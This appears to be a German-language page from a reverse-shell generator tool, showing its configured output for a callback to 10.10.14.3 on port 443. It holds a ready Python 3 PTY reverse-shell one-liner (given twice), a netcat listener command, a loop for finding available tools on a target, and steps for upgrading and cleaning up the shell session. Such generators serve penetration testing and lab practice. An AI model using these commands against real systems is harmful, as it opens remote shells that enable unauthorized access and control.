Skip to content
reverseshell

Reverse-Shell-Generator

Callback-Endpoint
10.10.14.3:443
IP
Port

443 und 80 passieren die meisten ausgehenden Firewalls; ungewöhnliche hohe Ports werden oft blockiert.

Listener-Befehl
Auszuführender Befehl
$nc -lvnp 443
Zielprofil
Ziel-Betriebssystem
CPU-Architektur
Ausgehender Zugang
Auf dem Ziel verfügbare Tools

Lassen Sie Tools nicht ausgewählt, wenn Sie nicht sicher sind, was auf dem Ziel vorhanden ist.

Unsicher? Führe dies auf dem Ziel aus, um verfügbare Tools und ihre vollständigen Pfade aufzulisten:

$for b in sh bash python3 python perl ruby node php nc ncat socat openssl curl wget awk; do p=$(command -v "$b" 2>/dev/null || ls /usr/bin/$b /bin/$b /usr/local/bin/$b /usr/sbin/$b /sbin/$b 2>/dev/null | head -1); [ -n "$p" ] && echo "$b: $p"; done

Modus
Runtime / Tool
Shell-Pfad
Hohe Kompatibilität 100%Voll interaktiv — TTY beim Verbinden.
Technik10 / 138
Reverse-TCP-Callbackmulti

Python 3 PTY · multi · Python-3-Reverse-Shell, der die ausgewählte Shell über pty spawnt.

Transformation

Es werden nur kompatible Transformationen angezeigt.

Befehlsausgabe

$python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Listener

$nc -lvnp 443
+ Nicht vorhanden? Listener-Tool installierensudo apt install netcat-openbsd # macOS: brew install netcat

Sitzungs-Upgrade
Upgrade-Rezept

Ersetzen Sie die feste Größe durch Ihre Terminal-Abmessungen: stty rows $(tput lines) columns $(tput cols)

Upgrade-Schritte
$python3 -c 'import pty; pty.spawn("/bin/sh")' || python -c 'import pty; pty.spawn("/bin/sh")'
$Ctrl-Z
$stty raw -echo; fg
$reset
$export TERM=xterm-256color
$stty rows 40 columns 120
Session-Bereinigung
Bereinigungshelfer
Bereinigungsschritte
$export SHELL=/bin/sh
$export TERM=xterm-256color
$export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
$alias ll='ls -la'
$ python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'